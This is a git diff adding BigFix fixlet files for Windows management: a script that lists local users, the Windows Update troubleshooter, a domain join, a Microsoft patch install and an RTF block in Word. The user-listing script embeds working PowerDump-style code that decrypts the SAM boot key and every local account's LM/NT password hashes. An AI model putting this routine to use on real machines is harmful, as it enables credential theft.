+    Add-Member NoteProperty key $key -PassThru |
+    Add-Member NoteProperty S $null -PassThru |
+    Add-Member ScriptMethod init {{
+        if (-not $this.S)
+        {{
+            [byte[]]$this.S = 0..255;
+            0..255 | % -begin{{[long]$j=0;}{{
+                $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length;
+                $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
+                }
+        }
+    } -PassThru |
+    Add-Member ScriptMethod "encrypt" {{
+        $data = $args[0];
+        $this.init();
+        $outbuf = new-object byte[] $($data.Length);
+        $S2 = $this.S[0..$this.S.Length];
+        0..$($data.Length-1) | % -begin{{$i=0;$j=0;} {{
+            $i = ($i+1) % $S2.Length;
+            $j = ($j + $S2[$i]) % $S2.Length;
+            $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
+            $a = $data[$_];
+            $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
+            $outbuf[$_] = ($a -bxor $b);
+        }
+        return ,$outbuf;
+    } -PassThru
+}
+
+function des_encrypt([byte[]]$data, [byte[]]$key)
+{{
+    return ,(des_transform $data $key $true)
+}
+
+function des_decrypt([byte[]]$data, [byte[]]$key)
+{{
+    return ,(des_transform $data $key $false)
+}
+
+function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
+{{
+    $des = new-object Security.Cryptography.DESCryptoServiceProvider;
+    $des.Mode = [Security.Cryptography.CipherMode]::ECB;
+    $des.Padding = [Security.Cryptography.PaddingMode]::None;
+    $des.Key = $key;
+    $des.IV = $key;
+    $transform = $null;
+    if ($doEncrypt) {{$transform = $des.CreateEncryptor();}
+    else{{$transform = $des.CreateDecryptor();}
+    $result = $transform.TransformFinalBlock($data, 0, $data.Length);
+    return ,$result;
+}
+
+function Get-RegKeyClass([string]$key, [string]$subkey)
+{{
+    switch ($Key) {{
+        "HKCR" {{ $nKey = 0x80000000} #HK Classes Root
+        "HKCU" {{ $nKey = 0x80000001} #HK Current User
+        "HKLM" {{ $nKey = 0x80000002} #HK Local Machine
+        "HKU"  {{ $nKey = 0x80000003} #HK Users
+        "HKCC" {{ $nKey = 0x80000005} #HK Current Config
+        default {{
+            throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
+        }
+    }
+    $KEYQUERYVALUE = 0x1;
+    $KEYREAD = 0x19;
+    $KEYALLACCESS = 0x3F;
+    $result = "";
+    [int]$hkey=0
+    if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
+    {{
+     $classVal = New-Object Text.Stringbuilder 1024
+     [int]$len = 1024
+     if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
+      [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
+     {{
+      $result = $classVal.ToString()
+     }
+     else
+     {{
+      Write-Error "RegQueryInfoKey failed";
+     }
+     [PowerDump.Native]::RegCloseKey($hkey) | Out-Null
+    }
+    else
+    {{
+     Write-Error "Cannot open key";
+    }
+    return $result;
+}
+
+function Get-BootKey
+{{
+    $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"}));
+    $b = new-object byte[] $($s.Length/2);
+    0..$($b.Length-1) | %{{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)}
+    $b2 = new-object byte[] 16;
+    0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{{$i=0;}{{$b2[$i]=$b[$_];$i++}
+    return ,$b2;
+}
+
+function Get-HBootKey
+{{
+    param([byte[]]$bootkey);
+    $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0");
+    $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0");
+    $k = Get-Item HKLM:\SAM\SAM\Domains\Account;
+    if (-not $k) {{return $null}
+    [byte[]]$F = $k.GetValue("F");
+    if (-not $F) {{return $null}
+    $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum);
+    $rc4 = NewRC4 $rc4key;
+    return ,($rc4.encrypt($F[0x80..0x9F]));
+}
+
+function Get-UserName([byte[]]$V)
+{{
+    if (-not $V) {{return $null};
+    $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
+    $len = [BitConverter]::ToInt32($V[0x10..0x13],0);
+    return [Text.Encoding]::Unicode.GetString($V, $offset, $len);
+}
+
+function Get-UserHashes($u, [byte[]]$hbootkey)
+{{
+    [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
+    if ($u.HashOffset + 0x28 -lt $u.V.Length)
+    {{
+        $lm_hash_offset = $u.HashOffset + 4;
+        $nt_hash_offset = $u.HashOffset + 8 + 0x10;
+        $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
+        $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
+    }
+    elseif ($u.HashOffset + 0x14 -lt $u.V.Length)
+    {{
+        $nt_hash_offset = $u.HashOffset + 8;
+        $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
+    }
+    return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey);
+}
+
+function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
+{{
+    [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;
+    # LM Hash
+    if ($enc_lm_hash)
+    {{
+        $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;
+    }
+
+    # NT Hash
+    if ($enc_nt_hash)
+    {{
+        $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;
+    }
+
+    return ,($lmhash,$nthash)
+}
+
+function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
+{{
+    $deskeys = sid_to_key $rid;
+    $md5 = [Security.Cryptography.MD5]::Create();
+    $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);
+    $rc4 = NewRC4 $rc4_key;
+    $obfkey = $rc4.encrypt($enc_hash);
+    $hash = (des_decrypt  $obfkey[0..7] $deskeys[0]) +
+        (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);
+    return ,$hash;
+}
+
+function Get-UserKeys
+{{
+    ls HKLM:\SAM\SAM\Domains\Account\Users |
+        where {{$_.PSChildName -match "^[0-9A-Fa-f]{{8}$"} |
+            Add-Member AliasProperty KeyName PSChildName -PassThru |
+            Add-Member ScriptProperty Rid {{[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
+            Add-Member ScriptProperty V {{[byte[]]($this.GetValue("V"))} -PassThru |
+            Add-Member ScriptProperty UserName {{Get-UserName($this.GetValue("V"))} -PassThru |
+            Add-Member ScriptProperty HashOffset {{[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru
+}
+
+function DumpHashes
+{{
+    LoadApi
+    $bootkey = Get-BootKey;
+    $hbootKey = Get-HBootKey $bootkey;
+    Get-UserKeys | %{{
+        $hashes = Get-UserHashes $_ $hBootKey;
+        "{{0}" -f ($_.UserName);#,$_.Rid,
+           # [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(),
+           # [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower()
+
+    }
+}
+
+DumpHashes | out-file -filePath "{parameter "Storage"}\CachedUsers.txt" -encoding ASCII
+
+_end_
+
+move __createfile powershell.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File powershell.ps1]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Windows Update Troubleshooter - Windows (21363).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Windows Update Troubleshooter - Windows (21363).bes
new file mode 100644
index 000000000..68a677e40
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Windows Update Troubleshooter - Windows (21363).bes	
@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Windows Update Troubleshooter - Windows
+  ID       : 21363
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-08-30T17:42:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Windows Update Troubleshooter - Windows</Title>
+    <Description><![CDATA[<P>This runs the Windows Update Troubleshooter on the targeted endpoint. </P>
+<P>For more information on the Windows Update Troubleshooter see:</P>
+<UL>
+<LI><A href="https://support.microsoft.com/en-us/kb/2714434">https://support.microsoft.com/en-us/kb/2714434</A>
+<LI><A href="https://support.microsoft.com/en-us/kb/971058">https://support.microsoft.com/en-us/kb/971058</A></LI></UL>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-29</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
+
+delete __createfile
+delete run.ps1
+
+createfile until _end_
+
+Import-Module troubleshootingpack
+
+Get-TroubleshootingPack -Path &quot;{pathname of windows folder}\diagnostics\system\WindowsUpdate&quot; | Invoke-TroubleshootingPack -Unattended
+
+_end_
+
+move __createfile run.ps1
+
+waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File run.ps1</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Join Computer to domain - wmic (26947).bes b/Sites/Windows Management/Fixlets/Fixlets/Join Computer to domain - wmic (26947).bes
new file mode 100644
index 000000000..dc38b1301
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Join Computer to domain - wmic (26947).bes	
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Join Computer to domain - wmic
+  ID       : 26947
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2022-09-12T07:24:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Join Computer to domain - wmic</Title>
+    <Description><![CDATA[<P><LABEL for=secret><STRONG><FONT size=3>About this Task</FONT></STRONG></LABEL></P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P>
+<TABLE>
+<TBODY>
+<TR>
+<TD><LABEL for=secret>Domain Name (fully-qualified, ie "exampledomain.com"):</LABEL> </TD>
+<TD><INPUT id=domainname name=domainname></TD></TR>
+<TR>
+<TR>
+<TD><LABEL for=secret>OU to join (optional), ex: OU=Workstations;DC=ExampleDomain;DC=com:</LABEL> </TD>
+<TD><INPUT id=ou name=ou></TD></TR>
+<TR>
+<TD><LABEL for=secret>Domain Account (ex: DOMAIN\administrator):</LABEL> </TD>
+<TD><INPUT id=userd name=userd></TD></TR>
+<TR>
+<TD><LABEL for=secret>Domain Account Password:</LABEL> </TD>
+<TD><INPUT id=passwordd type=password name=passwordd> </TD></TR></TBODY></TABLE><script>
+document.body.ontakeaction = function() {
+ var params = [ document.getElementById( "domainname" ).value,
+	document.getElementById( "userd" ).value,
+	document.getElementById( "passwordd" ).value
+	];
+var valid=true;
+for (i=0, len = params.length; i < len; i++) {
+	if (params[i] == null || params[i]=="")
+	{
+	 valid=false;
+	}
+	;
+}
+
+if (valid==false)
+	{alert("Hey, you forgot to enter a secure parameter! Please fill out the Description tab before taking the action.");}
+     else
+	{TakeSecureFixletAction( Relevance('id of current fixlet'), Relevance('id of current bes site'), "Action1", {}, {
+		domainname: document.getElementById( "domainname" ).value, ou: document.getElementById( "ou" ).value, userd: document.getElementById( "userd" ).value, passwordd: document.getElementById( "passwordd" ).value } );
+	}
+  return false;
+}
+</script> </P></BLOCKQUOTE>
+<P dir=ltr><STRONG><FONT color=#ff0000 size=3>Important Notes</FONT></STRONG></P>
+<UL dir=ltr>
+<LI>
+<DIV>You must enter a password in order to take an action</DIV>
+<LI>
+<DIV>Because of the way secure parameters work, you cannot use this task in&nbsp;a baseline, target an action dynamically by property (e.g., automatic groups), use add additional actions.</DIV></LI></UL>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance>not exists netbios domainnames of local computers of active directories</Relevance>
+    <Category>Accounts</Category>
+    <Source>HCL Lab Services</Source>
+    <SourceReleaseDate>2019-05-20</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 04 Oct 2019 17:39:01 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Join</Link>
+        <PostLink>&amp;nbsp;the computer to a domain</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
+waithidden wmic.exe computersystem where name!=null call joindomainorworkgroup {if parameter "ou" of action as trimmed string != "" then "AccountOU=%22" & parameter "ou" of action & "%22" else ""} fjoinoptions=3 name="{parameter "domainname" of action}" username="{parameter "userd" of action}" Password="{parameter "passwordd" of action}"
+continue if {exit code of action = 0}
+action requires restart "Join_Domain"
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/KB2731771_ New APIs for conversion between local time and UTC - Windows 7 (x86 and x64) and Windows Server 2008r2 (2592).bes b/Sites/Windows Management/Fixlets/Fixlets/KB2731771_ New APIs for conversion between local time and UTC - Windows 7 (x86 and x64) and Windows Server 2008r2 (2592).bes
new file mode 100644
index 000000000..5fedb81e9
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/KB2731771_ New APIs for conversion between local time and UTC - Windows 7 (x86 and x64) and Windows Server 2008r2 (2592).bes	
@@ -0,0 +1,96 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : KB2731771: New APIs for conversion between local time and UTC - Windows 7 (x86 and x64) and Windows Server 2008r2
+  ID       : 2592
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-09-09T09:27:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>KB2731771: New APIs for conversion between local time and UTC - Windows 7 (x86 and x64) and Windows Server 2008r2</Title>
+    <Description><![CDATA[<DIV class=FixletMessage>
+<TABLE>
+<TBODY>
+<TR>
+<TD>When you run an application that requires date interpretation and that uses the new APIs on a computer that is running Windows 7 or Windows Server 2008 R2, the following issues may occur:<BR>
+<UL>
+<LI>Applications or web pages crash.
+<LI>You cannot log on to web-based applications.
+<LI>When you schedule a meeting by using a calendar application, and the recipient of the calendar item is located in a different time zone, the calendar item does not display the correct meeting time.
+<LI>JavaScript-based stock ticker applications or JavaScript-based chart applications do not work as expected.</LI></UL>
+<P><B>Note:</B> Affected computers may report back as 'Pending Restart' once the update has run successfully, but will not report back their final status until the computer has been restarted.<BR><BR><B>Note:</B> This security update is also referenced under KB2731771.</P></TD></TR></TBODY></TABLE></DIV>
+<DIV class=FixletProperty>
+<H4>File Size:</H4>4.67 MB or 6.27 MB</DIV>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>NOT(exists names whose (it as string contains &quot;6.1.1.1&quot;) of values of keys whose (name of it contains &quot;Package_for_KB2731771&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\PackageIndex&quot; of native registry)</Relevance>
+    <Relevance>not pending restart &quot;86675d2fd327b328793dc179727ce0ce5107a72e&quot; AND not pending restart &quot;98dba6673cedbc2860c76b9686e895664d463347&quot;</Relevance>
+    <Relevance>((name of it = &quot;Win7&quot; OR name of it = &quot;Win2008R2&quot;) AND (service pack major version of it = 1 OR service pack major version of it = 0)) of operating system</Relevance>
+    <Category>Security Patch</Category>
+    <Source>Microsoft</Source>
+    <SourceID>KB2731771</SourceID>
+    <SourceReleaseDate>2013-09-09</SourceReleaseDate>
+    <SourceSeverity>Optional</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-superseded_date</Name>
+      <Value>2012-11-14</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Tue, 14 Aug 2012 23:40:59 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-superseded</Name>
+      <Value>MS12-075</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 09 Sep 2013 16:24:52 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {x64 of operating system}
+
+	download http://download.microsoft.com/download/5/D/D/5DD3B258-BF31-4656-8D61-A4F564E7ADE6/Windows6.1-KB2731771-x64.msu
+	continue if {(size of it = 6580602 AND sha1 of it = "98dba6673cedbc2860c76b9686e895664d463347") of file "Windows6.1-KB2731771-x64.msu" of folder "__Download"}
+
+	// Is Windows Update service running?
+	continue if {exists running service "wuauserv" OR NOT exists service "wuauserv" whose (start type of it = "disabled")}
+
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.1-KB2731771-x64.msu"}" /quiet /norestart
+
+	action requires restart "98dba6673cedbc2860c76b9686e895664d463347"
+
+else
+
+	download http://download.microsoft.com/download/5/D/D/5DD3B258-BF31-4656-8D61-A4F564E7ADE6/Windows6.1-KB2731771-x86.msu
+	continue if {(size of it = 4904874 AND sha1 of it = "86675d2fd327b328793dc179727ce0ce5107a72e") of file "Windows6.1-KB2731771-x86.msu" of folder "__Download"}
+
+	// Is Windows Update service running?
+	continue if {exists running service "wuauserv" OR NOT exists service "wuauserv" whose (start type of it = "disabled")}
+
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.1-KB2731771-x86.msu"}" /quiet /norestart
+
+	action requires restart "86675d2fd327b328793dc179727ce0ce5107a72e"
+
+endif
+]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action2841">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to view this Security Bulletin from Microsoft.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/kb/2731771</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/KB2953095 - Disable RTF processing in MS Word (3741).bes b/Sites/Windows Management/Fixlets/Fixlets/KB2953095 - Disable RTF processing in MS Word (3741).bes
new file mode 100644
index 000000000..11042eac2
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/KB2953095 - Disable RTF processing in MS Word (3741).bes	
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : KB2953095 - Disable RTF processing in MS Word
+  ID       : 3741
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-03-27T12:18:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>KB2953095 - Disable RTF processing in MS Word</Title>
+    <Description><![CDATA[<P>&nbsp;</P>
+<P>This fixlet uses Local Group Policy to set per-user registry entries. These entries disable RTF processing in MS Word. See the MS KB2953095.</P>
+<P><STRONG>NOTE:</STRONG> This may report back as "<STRONG>failed</STRONG>" but actually <STRONG>succeed</STRONG> due to difficulties with writing relevance to detect the local GPO change.</P>
+<P>The changes are made the binary file located here:&nbsp; C:\Windows\System32\GroupPolicy\User\Registry.pol</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance><![CDATA[/* Word 2003 through 2013 installed */ exists regapp "winword.exe" whose(version of it >= "11.0" AND version of it < "16")]]></Relevance>
+    <Relevance><![CDATA[/* This relevance might not work to detect the need to run correctly. What is the best way to determine the current local GPO state? */ not exists keys whose(exists key "Software\Policies\Microsoft\office" of it AND 4 = number of keys whose(name of it starts with "file" AND name of it ends with "block" AND exists value "RtfFiles" whose(it > 0) of it) of keys "word\security" of keys of key "Software\Policies\Microsoft\office" of it) of key "HKEY_USERS" of registry]]></Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2014-03-27</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 27 Mar 2014 19:17:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+// Download Utilities for automating Local Group Policy management
+//   http://blogs.technet.com/b/fdcc/archive/2008/05/07/lgpo-utilities.aspx
+prefetch LGPO_Utilities.zip sha1:e849599553425754e2e070014fa7967d75671bdf size:311761 http://blogs.technet.com/cfs-filesystemfile.ashx/__key/telligent-evolution-components-attachments/01-5808-00-00-03-05-16-48/LGPO_2D00_Utilities.zip
+
+// Download UnZip utility
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+utility __Download\unzip.exe
+
+// Download RunAsCurrentUser utility
+prefetch RunAsCurrentUser.exe sha1:ee47505ebfb2790b9da8a20ed70e67158e9753d0 size:342528 http://software.bigfix.com/download/bes/util/RunAsCurrentUser-2.0.3.1.exe sha256:1a9b518c775e2a85a7c47801e9b8221df338a65ad8df326485e4cd2aea22fe52
+
+waithidden __Download\unzip.exe -o "{pathname of client folder of current site}\__Download\LGPO_Utilities.zip" -d "{pathname of client folder of current site}\__Download"
+
+// Create LGPO file to be applied to the system
+delete __createfile
+delete __Download\KB2953095_LGPO
+createfile until END_OF_FILE
+; -------------------------------------------------------------------------
+; These Local Group Policy settings disable RTF file processing in MS WORD
+;  These effect Office 2003, 2007, 2010, 2013
+;  This file is meant to be applied to a system using the Apply_LGPO_Delta utility
+;  http://blogs.technet.com/b/fdcc/archive/2008/05/07/lgpo-utilities.aspx
+;  https://www.ibm.com/developerworks/community/forums/html/topic?id=b59717e2-ac44-4361-b3fd-8b349ef4a785
+; -------------------------------------------------------------------------
+
+User
+software\policies\microsoft\office\15.0\word\security\fileblock
+RtfFiles
+DWORD:3
+
+User
+software\policies\microsoft\office\14.0\word\security\fileblock
+RtfFiles
+DWORD:3
+
+User
+software\policies\microsoft\office\12.0\word\security\fileopenblock
+RtfFiles
+DWORD:1
+
+User
+software\policies\microsoft\office\11.0\word\security\fileopenblock
+RtfFiles
+DWORD:1
+
+END_OF_FILE
+
+move __createfile "{pathname of client folder of current site}\__Download\KB2953095_LGPO"
+
+// Apply the above LGPO
+waithidden "{pathname of client folder of current site}\__Download\Apply_LGPO_Delta.exe" "{pathname of client folder of current site}\__Download\KB2953095_LGPO" /log "{pathname of client folder of current site}\__Download\Apply_LGPO_Delta.log" /error "{pathname of client folder of current site}\__Download\Apply_LGPO_Delta_ERROR.log"
+
+// Update GPO - This does not appear to work
+waithidden gpupdate /Force /Target:User /Wait:600 >> "{pathname of client folder of current site}\__Download\gpupdate.log"
+// Updating GPO as current user might not be needed.
+//waithidden __Download\RunAsCurrentUser.exe --w gpupdate /Force /Target:User /Wait:600 >> "{pathname of client folder of current site}\__Download\gpupdate.log"
+
+// If the above gpupdate commands work correctly, then a restart should not be needed.
+action requires restart]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Known issues for Windows Server and_or Console upgrades - Tivoli Endpoint Manager version 8.1.634.0 (153).bes b/Sites/Windows Management/Fixlets/Fixlets/Known issues for Windows Server and_or Console upgrades - Tivoli Endpoint Manager version 8.1.634.0 (153).bes
new file mode 100644
index 000000000..b60cb512b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Known issues for Windows Server and_or Console upgrades - Tivoli Endpoint Manager version 8.1.634.0 (153).bes	
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Known issues for Windows Server and/or Console upgrades - Tivoli Endpoint Manager version 8.1.634.0
+  ID       : 153
+  Author   : besSupport
+  Domain   : BESC
+  Imported : 2012-10-17T13:13:48
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Known issues for Windows Server and/or Console upgrades - Tivoli Endpoint Manager version 8.1.634.0</Title>
+    <Description><![CDATA[
+<TABLE><TBODY><TR><TD><P><STRONG>Version&nbsp;8.1.634.0 of Tivoli Endpoint Manager is now available!</STRONG></P> <P>The latest version of Tivoli Endpoint Manager provides several enhancements and fixes. Click on the link below for more information on changes in Tivoli Endpoint Manager 8.1.</P> <P>Windows Installer 3.1 or greater must be installed to perform this upgrade. Use the action below to install Windows Installer 3.1. Once this is complete, you can use <?Relevance link of fixlet whose (name of it contains "Updated Windows Server and/or Console - Tivoli Endpoint Manager version 8.1.634.0") of site of current fixlet?>to upgrade Tivoli Endpoint Manager Servers and Consoles to version 8.1.634.0.</P> <P><STRONG>Note:</STRONG> Affected computers may report back as 'Pending Restart' once the patch has run successfully, but the vulnerability will not be closed until the affected computer is restarted.</P> <P>If you have any issues during the upgrade, you may want to review the manual upgrade instructions below to help resolve the issues.</P></TD></TR></TBODY></TABLE>
+]]></Description>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <Relevance><![CDATA[((it = "Win7" OR it = "Win2008R2" OR it = "Win2008" OR it = "WinVista") of name of it OR ((name of it = "Win2003" AND service pack major version of it >= 1) OR ((it = "WinXP" OR it = "WinXP-2003") of name of it AND service pack major version of it >= 2))) of operating system]]></Relevance>
+    <Relevance>evaluation of client license = false</Relevance>
+    <Relevance><![CDATA[(exists service "BESRootServer" AND exists key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\Enterprise Server" whose (exists ((value "Version" of it) as string as version) whose (it < "8.1.634.0" AND it >= "7.0.1")) of registry) OR (exists regapp "BESConsole.exe" whose (version of it < "8.1.634.0" AND version of it >= "6"))]]></Relevance>
+    <Relevance><![CDATA[not (exists file "msiexec.exe" whose (version of it >= "3.1") of system folder)]]></Relevance>
+    <Relevance>if (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\Brand&quot; whose (exists value &quot;value&quot; of it) of registry) then (value &quot;value&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\Brand&quot; of registry as string = &quot;BigFix&quot;) else (&quot;BigFix&quot;=&quot;BigFix&quot;)</Relevance>
+    <Category>11</Category>
+    <Source>IBM</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-01-09</SourceReleaseDate>
